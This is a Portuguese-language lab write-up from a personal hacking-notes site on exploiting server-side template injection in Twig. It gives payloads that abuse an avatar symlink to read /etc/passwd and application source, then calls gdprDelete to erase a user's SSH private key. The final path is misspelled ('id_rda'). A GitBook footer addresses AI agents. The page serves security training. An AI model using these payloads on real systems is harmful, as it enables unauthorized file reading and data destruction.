> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-with-custom-exploit.md).

# SSTI com um exploit personalizado

### Injeção de Template no lado do servidor com um Exploit Personalizado

A aplicação é suscetível a uma injeção SSTI. / O objetivo é criar um personalizado **exploit** que permite remover o `/home/carlos/.ssh/id_rsa`\*\* arquivo. / Possível conexão com o usuário: `wiener:peter`.

#### Ponto injetável

O **apelido** campo é vulnerável:

```python
}}{{7*7
```

A expressão é avaliada.

<figure><img src="/files/911feb217919c431840e1e50eb09e28d9f547673" alt=""><figcaption></figcaption></figure>

Ao acionar um erro:

```php
}}{{7/a
```

É descoberto que o mecanismo usado é **Twig (PHP)**.

<figure><img src="/files/00c55a3786e39922aac6c855dd9e142a80a58d31" alt=""><figcaption></figcaption></figure>

#### Desvio da Função de D

É possível definir um avatar personalizado por meio de:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/66dae21f8c4ff153f2f099ee91ac20faad746b41" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/60b248b5f3703f95d2b66dadf5f6fd5204bb9c44" alt="" width="496"><figcaption></figcaption></figure>

Esse mecanismo cria um **link simbólico** para qualquer arquivo legível. / Assim, você pode recuperar seu conteúdo baixando o avatar.

#### Exemplo

Ler `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

O arquivo fica acessível ao abrir a imagem

<figure><img src="/files/1fbca88b4824a899bb009ef8b3cccfb9a8e36cce" alt=""><figcaption></figcaption></figure>

#### Análise de Código `User.php`

O `/home/carlos/User.php` arquivo revela:

<figure><img src="/files/ab342c2ab149b5954042f1e40e0696cd2b6f9546" alt=""><figcaption></figcaption></figure>

\*\*O `gdprDelete()` função realmente remove o arquivo apontado pelo link simbólico. \*\*/ É exatamente isso que se deve usar para apagar `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>
```

#### Operação: Remoção de `/home/carlos/.ssh/id_rsa`

Crie um link simbólico para a chave SSH do Carlos

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Acione a remoção via:

```php
user.gdprDelete()
```

O link simbólico aponta para `id_rsa`/ `gdprDelete()` apaga o **destino** do link \*\*`id_rsa` arquivo é excluído. \*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
